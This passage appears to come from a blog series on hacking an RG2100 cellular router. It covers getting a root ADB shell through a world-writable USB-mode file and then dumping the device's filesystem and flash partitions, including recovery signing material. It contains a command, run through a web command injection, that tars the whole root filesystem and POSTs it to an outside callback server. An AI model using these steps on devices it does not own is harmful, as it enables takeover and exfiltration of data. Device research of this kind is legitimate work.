Part 3: Root ADB and Filesystem Backups

A www-data reverse shell is useful for enumeration, but the RG2100 also exposes root ADB through a surprisingly simple USB composition change.

USB composition control

USB mode is controlled by:

/etc/data/default_usb

On this unit the file permissions were unexpectedly permissive:

-rwxrw-rw- 1 radio radio /etc/data/default_usb

So even though the web command-execution path was not root, changing the next USB composition was practical from the web shell.

Useful composition values

Several values appeared during testing:

9059
9057
4EE7
902D

The important ones:

ValueComposition
902DRNDIS + DIAG + ADB
9059DIAG + ADB + RNDIS/ECM
4EE7ADB composition that worked cleanly on this unit

Setting 4EE7 exposed ADB:

echo 4EE7 > /etc/data/default_usb
sync

After reconnecting USB:

adb devices

showed:

43dbf9b9    device

Root shell over ADB

The ADB shell was already root:

adb shell id

Output:

uid=0(root) gid=0(root) groups=1004,1007,1011,1015(sdcard),1028,3001,3002,3003(inet),3006

Kernel information:

adb shell 'uname -a'

Output:

Linux sdxlemur 5.4.180 #1 PREEMPT Fri Sep 23 00:46:25 UTC 2022 armv7l GNU/Linux

Note: the stock reboot command was not present in the shell environment. If you change USB modes and lose your easy access path, you may need the web UI, the power button, or another service route to reboot.

After confirming root ADB, I set the next boot back to a more useful composite mode:

echo 9059 > /etc/data/default_usb
sync

Later, 902D also worked successfully for an ADB-capable composition.

Broad filesystem dump via web injection

Before changing anything persistent, I wanted a local copy of as much of the device as possible.

The first broad dump used the web command injection and a callback HTTP server. The host served a script; the device fetched it through the injected filename, ran it, and streamed a tarball back:

tar -czf - \
  --exclude=/dev \
  --exclude=/proc \
  --exclude=/sys \
  --exclude=/run \
  --exclude=/tmp \
  --exclude=/var/volatile \
  / 2>/tmp/rg2100-dump.err |
curl -sS --max-time 1800 \
  -X POST \
  --data-binary @- \
  http://192.168.0.174:8001/dump

That produced a readable filesystem archive:

dumps/rg2100-rootfs-readable-20260530-144802.tar.gz

Structured root backup over ADB

Once ADB was available, I took a more structured root backup:

dumps/adb-root-backup-20260530-190321/

Contents included:

root-adb-state.txt
ubi-and-device-hashes.txt
usb-adbd-state.txt
files/root-mutable-files.tar.gz
mtd/mtd0-sbl.bin
mtd/mtd1-mibib.bin
mtd/mtd17-boot.bin
mtd/mtd20-modem.bin
mtd/mtd21-misc.bin
mtd/mtd23-recovery.bin
mtd/mtd24-fota.bin
mtd/mtd25-recoveryfs.bin
...

The partitions most relevant to later OTA work were:

mtd23-recovery.bin
mtd24-fota.bin
mtd25-recoveryfs.bin

Extracting recoveryfs yielded the recovery scripts and signing material needed to understand the update process, including the recovery-side find_recovery_partitions.sh script.

A caveat on modem backups

I did not treat this as a complete modem/EFS/QCN backup. The Linux filesystem and MTD dumps are very useful, but Qualcomm modem NV is its own world. For anything involving hidden modem state, a proper DIAG/QCN backup would still be preferable.

Continue to Part 4: SIM Unlock and Debranding.

Leave a Reply